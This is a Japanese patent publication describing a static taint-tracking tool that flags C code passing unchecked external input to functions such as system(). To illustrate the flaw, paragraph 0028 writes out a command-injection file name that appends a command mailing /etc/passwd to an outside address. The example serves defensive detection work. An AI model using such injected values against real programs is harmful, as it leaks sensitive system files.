(57)【要約】      （修正有）【課題】脆弱なライブラリが適切に用いられていない箇所のみを検出できるようにする。【解決手段】脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込み、被監査プログラムの構文解析等を行い、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡し、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合（Ｓ３２でＹ）に、該変数が比較演算子を含む条件式に用いられているか否か等を判定し、前記判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する（Ｓ４４）。【選択図】図６
2011150716.tif 000002
【特許請求の範囲】
【請求項１】
被監査プログラムの脆弱性を検出する脆弱性監査方法をコンピュータに実行させるための脆弱性監査プログラムであって、
脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、
前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、
前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、
前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、
前記脆弱性判定ステップによる判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力ステップと、
をコンピュータに実行させるための脆弱性監査プログラム。
【請求項２】
請求項１に記載の脆弱性監査プログラムにおいて、
前記判定ルールは、ライブラリ関数における脆弱な引数の定義を含むことを特徴とする脆弱性監査プログラム。
【請求項３】
請求項１に記載の脆弱性監査プログラムにおいて、
前記変数管理ステップにより管理される変数は、前記値が外部から入力される変数と、前記値が外部から入力される変数が関数等で処理された結果の変数を含むことを特徴とする脆弱性監査プログラム。
【請求項４】
被監査プログラムの脆弱性を検出する脆弱性監査方法をコンピュータに実行させるための脆弱性監査プログラムであって、
脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、
前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、
前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、
前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、
前記脆弱性判定ステップによる判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力ステップと、
をコンピュータに実行させる脆弱性監査プログラム。
【請求項５】
被監査プログラムの脆弱性を検出する脆弱性監査装置であって、
脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力部と、
前記被監査プログラムを読み込み構文解析を行うプログラム入力部と、
前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡部と、
前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定部と、
前記脆弱性判定部による判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力部と、
を有する脆弱性監査装置。
【請求項６】
被監査プログラムの脆弱性を検出する脆弱性監査装置であって、
脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力部と、
前記被監査プログラムを読み込み構文解析を行うプログラム入力部と、
前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡部と、
前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定部と、
前記脆弱性判定部による判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力部と、
を有する脆弱性監査装置。
【請求項７】
脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、
前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、
前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、
前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、
前記脆弱性判定ステップによる判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力ステップと、
をコンピュータが実行する脆弱性監査方法。
【請求項８】
脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、
前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、
前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、
前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、
前記脆弱性判定ステップによる判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力ステップと、
をコンピュータに実行させる脆弱性監査方法。
【発明の詳細な説明】
【技術分野】
【０００１】
本発明は、プログラムを監査し、脆弱性を検出する脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法に関するものである。
【背景技術】
【０００２】
プログラムに対する脆弱性監査技術は一般に、静的監査と動的監査に大別される。脆弱性とは、悪用されるとシステムダウン、乗っ取り、情報漏洩等、プログラムユーザに被害をもたらすようなバグの一種であり、セキュリティホールとも呼ばれる。
【０００３】
まず、静的監査について説明する。
【０００４】
プログラム言語に用意されたライブラリの中には、脆弱性の元になることから使用してはならないもの、或いは使用に注意を要するものが存在する。これらを脆弱ライブラリと呼ぶ。例えばＣ言語の場合、最もポピュラーな脆弱性であるバッファオーバフロー脆弱性の元となり得る“ｓｔｒｃｐｙ”等のライブラリはつかうべきでなく、代わりに“ｓｔｒｎｃｐｙ”等を使うべきである、と言われている。しかし、実際のソースコードにおいては、これらの規約が徹底されているとはいえない現状がある。
【０００５】
静的監査とは、プログラムの実行を伴わない監査のことである。一般的な静的監査は、ソースコードを読み込み、既知の脆弱ライブラリ名（システム関数なども含む）を検索し、脆弱ライブラリが使用されている位置と共に警告メッセージを出力する。これにより、プログラマがソースコードに脆弱性を作りこまないような支援を行う。
【０００６】
次に、動的監査について説明する。
【０００７】
動的監査とは、プログラムの実行を伴う監査のことである。一般的な動的監査は、メモリなどを監視しながら、プログラムに入力データを与え、ソースコードを１行ずつ実行する。そして、メモリ上で異常が発生した場合、警告メッセージを出力する。
【０００８】
なお、本発明の関連ある従来技術として、例えば、下記に示す特許文献１が知られている。このコンピュータプロセスのリソースのモデル化方法及び装置は、コンピュータプログラムのコンポーネントを解析して、そのコンポーネントがリソースに与える影響を決定する。また、リソースの所定の挙動に対する違反を検知すると、プログラミングエラーとして通知する。
【先行技術文献】
【特許文献】
【０００９】
【特許文献１】特表平１０−５０９２５８号公報
【発明の概要】
【発明が解決しようとする課題】
【００１０】
一般に脆弱とされているライブラリでも、プログラマがソースコード中での使い方さえ誤らなければ、脆弱性を作りこむことはない。例えば、“ｓｔｒｃｐｙ”ライブラリが文字列定数を処理するのであれば、脆弱性とはなりえない。一方、“ｓｔｒｃｐｙ”ライブラリが、プログラムのユーザ等、外部から与えられた文字列を処理する場合、外部から特殊な文字列を与えることでバッファオーバフロー脆弱性が発生しうる。
【００１１】
しかしながら、従来の静的監査は、脆弱なライブラリ名の単純なパターンマッチングに依るものが多く、ソースコード中で使用されている脆弱ライブラリの全てについて警告メッセージを出力する。すなわち、従来の静的監査は適切に使われている脆弱ライブラリについても警告するため、プログラマは膨大な警告メッセージに対処しなければならない。
【００１２】
また、従来の動的監査は、監査者が、プログラムに与える入力データのセットであるテストセットを作る必要がある。様々な脆弱性を網羅するようにテストセットを作ることは、一般に困難且つ高コストであり、このことが動的監査の敷居を高くしている。
【００１３】
本発明は上述した問題点を解決するためになされたものであり、脆弱なライブラリが適切に用いられていない箇所のみを検出する脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法を提供することを目的とする。
【課題を解決するための手段】
【００１４】
上述した課題を解決するため、本発明の一態様は、被監査プログラムの脆弱性を検出する脆弱性監査方法をコンピュータに実行させるための脆弱性監査プログラムであって、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、前記脆弱性判定ステップによる判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力ステップと、をコンピュータに実行させるものである。
【００１５】
また、本発明の一態様に係る脆弱性監査プログラムにおいて、前記警告メッセージは、前記値が外部から入力される変数の位置、使用されたライブラリ関数と引数、使用されたライブラリ関数の位置、検出された脆弱性の説明、前記被監査プログラムの修正方法のいずれかを含むことを特徴とするものである。
【００１６】
また、本発明の一態様に係る脆弱性監査プログラムにおいて、前記被監査プログラムは、ソースコードまたは中間言語ファイルであることを特徴とするものである。
【００１７】
また、本発明の一態様は、被監査プログラムの脆弱性を検出する脆弱性監査方法をコンピュータに実行させるための脆弱性監査プログラムであって、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、前記脆弱性判定ステップによる判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力ステップと、をコンピュータに実行させるものである。  
【００１８】
また、本発明の一態様は、被監査プログラムの脆弱性を検出する脆弱性監査装置であって、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力部と、前記被監査プログラムを読み込み構文解析を行うプログラム入力部と、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡部と、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定部と、前記脆弱性判定部による判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力部と、を有するものである。
【００１９】
また、本発明の一態様は、被監査プログラムの脆弱性を検出する脆弱性監査装置であって、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力部と、前記被監査プログラムを読み込み構文解析を行うプログラム入力部と、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡部と、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定部と、前記脆弱性判定部による判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力部と、を有するものである。
【００２０】
また、本発明の一態様は、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、前記脆弱性判定ステップによる判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力ステップと、をコンピュータが実行するものである。
【００２１】
また、本発明の一態様は、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、前記脆弱性判定ステップによる判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力ステップと、をコンピュータに実行させるものである。
【発明の効果】
【００２２】
脆弱なライブラリが適切に用いられていない箇所のみを検出する脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法を提供することができる。
【図面の簡単な説明】
【００２３】
【図１】脆弱なプログラムの一例を示すソースコードである。
【図２】脆弱なプログラムの正常な実行結果の一例を示す表示である。
【図３】安全なプログラムの一例を示すソースコードである。
【図４】本発明に係る脆弱性監査装置の構成の一例を示すブロック図である。
【図５】本発明に係る脆弱性監査装置の動作の一例を示すフローチャートである。
【図６】本発明に係る変数処理の動作の一例を示すフローチャートである。
【図７】本発明に係る警告メッセージの一例を示す図である。
【図８】中間言語ファイルの一例を示す図である。
【図９】本発明に係る脆弱性監査装置の構成の別の一例を示すブロック図である。
【図１０】本発明に係るプログラム修正方法の内容の一例を示すソースコードである。
【発明を実施するための形態】
【００２４】
以下、本発明の実施の形態について図面を参照しつつ説明する。
【００２５】
本実施の形態は、外部データの入力を起点としてデータフローを追跡し、外部データをそのまま危険なライブラリに引き渡している個所を検出するものである。従って、本実施の形態によれば、脆弱なライブラリが適切に用いられていない箇所のみを検出できる。本実施の形態では、Ｃ言語のソースコードに含まれる脆弱性を検出し、検出した脆弱性をプログラマに警告するような脆弱性監査装置について説明する。
【００２６】
まず、監査の対象となるプログラムである、２つの被監査プログラムの例について説明する。
【００２７】
第１の被監査プログラムの例として、脆弱なプログラム“ｔｅｓｔ１．ｃ”を図１に示す。“ｔｅｓｔ１．ｃ”は、ユーザにファイル名の入力を行わせ、このファイル名に対応するファイルの詳細情報（アクセス制限、所有者、サイズ、最終更新日時、等）を画面に出力するプログラムである。“ｔｅｓｔ１．ｃ”はまず、０９〜１１行目でファイル名の入力処理を行う。次に、１３行目で当該ファイル名を用いてＵｎｉｘシェルに渡すコマンド文字列を生成する。ここでは“ｌｓ  −ｌ  ｆｉｌｅｎａｍｅ”で、ファイルの詳細情報を出力する。次に、１４行目で当該コマンド文字列をＵｎｉｘシェルに引き渡す。このプログラムに既存の適切なファイル名を入力した場合の、正常な実行結果を図２に示す。
【００２８】
しかし、“ｔｅｓｔ１．ｃ”は悪用される恐れのある脆弱なプログラムである。悪意あるユーザは、ファイル名として例えば“ｅｘａｍｐｌｅ．ｔｘｔ；  ｍａｉｌ  ｆｏｏ＠ｆｕｇａ．ｃｏｍ  ＜  ／ｅｔｃ／ｐａｓｓｗｄ”を入力するかもしれない。この場合、“ｔｅｓｔ１．ｃ”は、ファイル“ｅｘａｍｐｌｅ．ｔｘｔ”の詳細情報が表示されるところまでは良いが、続けてパスワードファイルを“ｆｏｏ＠ｆｕｇａ．ｃｏｍ”宛てにメール送信するコマンドが実行されてしまう。すなわち、機密情報が漏洩してしまう。
【００２９】
次に、第２の被監査プログラムの例として、“ｔｅｓｔ１．ｃ”の問題を解決した安全なプログラム“ｔｅｓｔ２．ｃ”を図３に示す。“ｔｅｓｔ１．ｃ”と違って“ｔｅｓｔ２．ｃ”は、入力されたファイル名をチェックする。１３行目で関数“Ｃｈｅｃｋ＿ｆｉｌｅ＿ｎａｍｅ”（２３〜３６行目で定義されている）が呼び出され、そこでファイル名がチェックされ、チェックにパスしないファイル名は処理せずにプログラムを終了する。これにより、“ｔｅｓｔ１．ｃ”のような問題は発生しないことになる。
【００３０】
ここで、関数“Ｃｈｅｃｋ＿ｆｉｌｅ＿ｎａｍｅ”について簡単に説明する。この関数は、ファイル名の文字列に英数字、‘．’（ピリオド）、‘−’（ハイフン）、‘＿’（アンダーバー）以外の文字が含まれていないかをチェックしている。通常、これらの文字で必要十分と考えられる。すなわち、ファイル名に使える文字をこれらに限定することにより、“ｔｅｓｔ１．ｃ”の問題のような不正な入力を防ぐ。
【００３１】
次に、本発明に係る脆弱性監査装置の構成について説明する。図４は、本発明に係る脆弱性監査装置の構成の一例を示すブロック図である。この脆弱性監査装置は、プログラム入力部１１、変数管理部２１、判定ルール管理部２２、処理フロー追跡部３１、脆弱性判定部３２、警告メッセージ出力部４１を備える。
【００３２】
判定ルール管理部２２は、予め定義された脆弱性についての判定ルールを管理する。判定ルールは、外部入力を用いる関数や脆弱ライブラリの引数等を記述したものである。また、判定ルールは、予めメモリに格納されても良いし、予めファイルに格納され起動時に読み込むようにしても良い。また、ユーザがこのファイルをカスタマイズできるようにしても良い。
【００３３】
プログラム入力部１１は、ソースコードを読み込み、ソースコードの構文解析を行い、処理フローを処理フロー追跡部３１に渡す。これは、Ｃ言語コンパイラの機能を利用して実現できる。Ｃ言語コンパイラはソースコードを構文解析して中間言語ファイルを生成するため、この中間言語ファイルを処理フローとする。ソースコードは複数のファイルからなるものでも良い。処理フロー追跡部３１は、値が外部から入力される変数である外部入力変数を抽出し、その変数に関する情報を変数管理部２１へ渡す。また、処理フロー追跡部３１は、外部入力変数を処理フローに沿って追跡し、追跡した先の変数がライブラリ関数の脆弱な引数として処理されている箇所を抽出する。抽出の基準には、判定ルールを用いる。
【００３４】
変数管理部２１は、処理フロー追跡部３１から得られる変数毎の情報を変数テーブルとして管理する。変数毎の情報は、変数名、属性、属性が設定された位置（ソースファイル名と行番号）からなる。引数や変数の属性には、変数宣言直後の状態である「未設定」、値が設定された状態であり、他のどの状態でもない「通常」、外部入力された状態であり、脆弱性が発生し得る「汚染」、汚染でないことをチェックした「チェック済み」がある。また、属性が汚染である変数を汚染変数と呼ぶ。
【００３５】
脆弱性判定部３２は、判定ルールに定義された脆弱なライブラリの引数として、汚染変数が使用されているか否かの判定を行う。警告出力部４１は、脆弱性に関する警告メッセージを生成し、画面やファイル等に出力する。
【００３６】
次に、本発明に係る脆弱性監査装置の動作について説明する。図５は、本発明に係る脆弱性監査装置の動作の一例を示すフローチャートである。
【００３７】
まず、プログラム入力部１１、プログラムを読み込み、処理フロー追跡部３１へ渡す（Ｓ１１）。次に、処理フロー追跡部３１は、判定ルールに従って外部入力変数を抽出し、変数管理部２１の変数テーブルに格納する（Ｓ１２）。次に、処理フロー追跡部３１は、未監査の変数が残っているか否かの判断を行う（Ｓ１３）。未監査の変数が残っていれば（Ｓ１３，Ｙ）、処理フロー追跡部３１は、未監査の変数の１つを選択して変数の監査を行い（Ｓ１４）、処理Ｓ１３へ戻る。一方、未監査の変数が残っていなければ（Ｓ１３，Ｎ）、このフローを終了する。
【００３８】
処理Ｓ１４において、処理フロー追跡部３１と脆弱性判定部３２は、選択した変数の監査を行う。図６は、本発明に係る変数の監査の動作の一例を示すフローチャートである。
【００３９】
まず、処理フロー追跡部３１は、読み込んだプログラムを１行進める（Ｓ２１）。次に、処理フロー追跡部３１は、プログラムが終了したか否かの判断を行う（Ｓ２２）。プログラムが終了した場合（Ｓ２２，Ｙ）、このフローを終了する。一方、プログラムが終了していない場合（Ｓ２２，Ｎ）、処理フロー追跡部３１は、プログラムが分岐したか否かの判断を行う（Ｓ２３）。プログラムが分岐していない場合（Ｓ２３，Ｎ）、処理Ｓ３１へ移行する。一方、プログラムが分岐した場合（Ｓ２３，Ｙ）、処理フロー追跡部３１は、選択した変数に対応する分岐先の変数を変数テーブルに格納する（Ｓ２４）。
【００４０】
次に、処理フロー追跡部３１は、当該変数の属性がチェック済みであるか否かの判断を行う（Ｓ３１）。チェック済みである場合（Ｓ３１，Ｙ）、このフローを終了する。一方、チェック済みでない場合（Ｓ３１，Ｎ）、処理フロー追跡部３１は、当該変数が関数に使用されているか否かの判断を行う（Ｓ３２）。関数に使用されていなければ（Ｓ３２，Ｎ）、処理Ｓ２１へ戻る。一方、関数に使用されていれば（Ｓ３２，Ｙ）、脆弱性判定部３２は、各変数の属性の遷移により汚染変数が発生したか否かの判断を行う（Ｓ４１）、汚染変数が発生していなければ（Ｓ４１，Ｎ）、処理Ｓ４３へ移行する。一方、汚染変数が発生していれば（Ｓ４１，Ｙ）、脆弱性判定部３２は、変数の属性を汚染として変数テーブルに格納する（Ｓ４２）。次に、脆弱性判定部３２は、判定ルールに従って当該変数に脆弱性が発生したか否かの判断を行う（Ｓ４３）。脆弱性が発生していない場合（Ｓ４３，Ｎ）、処理Ｓ２１へ戻る。一方、脆弱性が発生した場合（Ｓ４３，Ｙ）、警告出力部４１は、警告メッセージの出力を行い（Ｓ４４）、このフローを終了する。
【００４１】
ここで、処理Ｓ１２は、予め定義した外部入力を用いる関数の使用と、ｍａｉｎ関数へ渡された引数（ａｒｇｃ，ａｒｇｖ）により、外部入力変数を抽出する。このうち外部入力を用いる関数については、関数名と、汚染された値が入り得る引数の位置を、予め判定ルールに定義しておく。この定義は、各関数の使用を踏まえて行う必要がある。例えばｆｇｅｔｓ関数について、以下のように予め定義しておく。
【００４２】
ｆｇｅｔｓ：ｐａｒａｍ＿１＝ｔａｉｎｔ
【００４３】
この定義は、ｆｇｅｔｓ関数が外部から入力される値が第１引数に入るような使用であることから、第１引数が汚染（ｔａｉｎｔ）であり、それ以外の引数及び復帰値は非汚染であることを意味している。
【００４４】
同様にｓｎｐｒｉｎｔｆ関数について、以下のように予め定義しておく。
【００４５】
ｓｎｐｒｉｎｔｆ：ｐａｒａｍ＿１＝ｐａｒａｍ＿４
【００４６】
この定義は、ｓｎｐｒｉｎｔｆ関数において第１引数の属性が第４引数の属性を引き継ぐことを意味している。つまり、第４引数が汚染であれば、第１引数も汚染となり、第４引数が非汚染であれば、第１引数も非汚染となる。
【００４７】
同様にｓｙｓｔｅｍ関数について、以下のように予め定義しておく。
【００４８】
ｓｙｓｔｅｍ：ａｌｅｒｔ＿ｉｆ  ｐａｒａｍ＿１＝ｔａｉｎｔ
【００４９】
この定義は、ｓｙｓｔｅｍ関数において第１引数が汚染である場合に警告メッセージを生成することを意味している。すなわち、この関数は、第１引数が汚染である場合に異常な挙動を示す恐れがあり、脆弱性を有することを表す。
【００５０】
また、処理Ｓ３１は、変数の属性がチェック済みか否かのチェックを行う。例えば、対象となる変数を引数としてｉｓａｌｎｕｍ（）等のチェック関数をコールすると、対象となる変数の属性はチェック済みとなる。また、対象となる変数が比較演算子を含む条件式に用いられると、対象となる変数の属性はチェック済みとなる。
【００５１】
また、処理Ｓ４４は、脆弱性に関する警告メッセージを生成し、画面やファイル等に出力する。図７は、本発明に係る警告メッセージの一例を示す図である。警告メッセージとしてまず、検出番号、関数名、引数位置が出力される。関数名、危険度、脅威、解説、等の脆弱性に関する説明は、予め判定ルール中に定義され、検出された脆弱性のＩＤに対応づけられている。汚染されたデータの設定箇所は、変数テーブルに格納されており、設定した関数名、ファイル名、行番号等が出力される。脆弱ライブラリの使用箇所は、フロー追跡の現在位置から得られ、使用した関数名、ファイル名、行番号等が出力される。
【００５２】
次に、本発明に係る脆弱性監査装置が、脆弱なプログラムの脆弱性監査を行う場合と、安全なプログラムの脆弱性監査を行う場合について、動作の具体例を説明する。
【００５３】
まず、脆弱性監査装置が、脆弱なプログラム“ｔｅｓｔ１．ｃ”の脆弱性監査を行う場合について説明する。
【００５４】
まず、脆弱性監査装置は、１０行目でｆｇｅｔｓ関数が使用されていることから、変数ｆｉｌｅ＿ｎａｍｅに外部から値が入力され、変数ｆｉｌｅ＿ｎａｍｅの属性が汚染である可能性がある、と判断する。
【００５５】
次に、脆弱性監査装置は、１３行目でｓｎｐｒｉｎｔｆ関数が使用されていることから、変数ｌｓ＿ｃｏｍｍａｎｄに変数ｆｉｌｅ＿ｎａｍｅの属性が引き継がれ、変数ｌｓ＿ｃｏｍｍａｎｄの属性が汚染である可能性がある、と判断する。
【００５６】
次に、脆弱性監査装置は、１４行目でｓｙｓｔｅｍ関数の引数として変数ｌｓ＿ｃｏｍｍａｎｄが使用されていることから、ｓｙｓｔｅｍ関数が汚染変数を処理しており、脆弱性を発生する可能性がある、と判断する。次に、脆弱性監査装置は、検出した脆弱性について警告メッセージを出力する。
【００５７】
次に、脆弱性監査装置が、安全なプログラム“ｔｅｓｔ２．ｃ”の脆弱性監査を行う場合について説明する。
【００５８】
まず、脆弱性監査装置は、１０行目でｆｇｅｔｓ関数が使用されていることから、変数ｆｉｌｅ＿ｎａｍｅに外部から値が入力され、変数ｆｉｌｅ＿ｎａｍｅの属性が汚染である、と判断する。
【００５９】
次に、脆弱性監査装置は、１３行目で関数Ｃｈｅｃｋ＿ｆｉｌｅ＿ｎａｍｅにより変数ｆｉｌｅ＿ｎａｍｅが値をチェックされており、変数ｆｉｌｅ＿ｎａｍｅの属性がチェック済みである、と判断する。
【００６０】
次に、脆弱性監査装置は、１８行目でｓｎｐｒｉｎｔｆ関数が使用されていることから、変数ｌｓ＿ｃｏｍｍａｎｄに変数ｆｉｌｅ＿ｎａｍｅの属性が引き継がれ、変数ｌｓ＿ｃｏｍｍａｎｄの属性がチェック済みである、と判断する。
【００６１】
次に、脆弱性監査装置は、１９行目でｓｙｓｔｅｍ関数の引数として変数ｌｓ＿ｃｏｍｍａｎｄが使用されていることから、ｓｙｓｔｅｍ関数がチェック済みの属性を持つ変数を処理しており、脆弱性を発生する可能性がない、と判断する。
【００６２】
なお、本実施の形態においては、１つの変数に対して検出された警告メッセージを１つずつ出力していたが、同一の変数に対する複数の警告メッセージをマージしても良い。プログラムにおいてｉｆ文等により処理が分岐しており、分岐先で同じ変数に対して異なる処理が施される場合がよくある。このような場合において、例えば、片方の分岐先では危険度の高い脆弱性が検出され、もう片方の分岐先では危険度の低い脆弱性が検出されることがある。このとき、両者を別の警告メッセージとして出力することはユーザにとって冗長であり、両者をマージした警告メッセージとして出力する方が望ましいことが多い。警告メッセージのマージの具体的な方法としては、複数の警告メッセージの中で最も危険度の高い警告メッセージのみを残し、他の警告メッセージを捨てる方法がある。
【００６３】
また、本実施の形態においては、ソースコードを処理することにより脆弱性監査を行うが、中間言語ファイルを処理することにより脆弱性監査を行ってもよい。Ｃ言語のプログラムにおいては、人間にとって可読性のあるソースコードをコンパイルすることにより、コンピュータが実行可能な機械語に翻訳される。コンパイラは、この翻訳の過程で中間的なファイルである中間言語ファイルを生成しており、これをディスクに出力することもできる。中間言語ファイルは、ソースコードを単位毎にノードの形で表したものであり、人間にとってソースコードのような可読性はないが、機械語ほど解読が困難なものではない。図８は、中間言語ファイルの一例を示す図である。このような中間言語ファイルを読み込んだ場合、脆弱性監査装置は木構造のデータフローを生成することができる。データの形式は異なるが、ソースコードと同様にして脆弱性監査の処理を行うことができる。
【００６４】
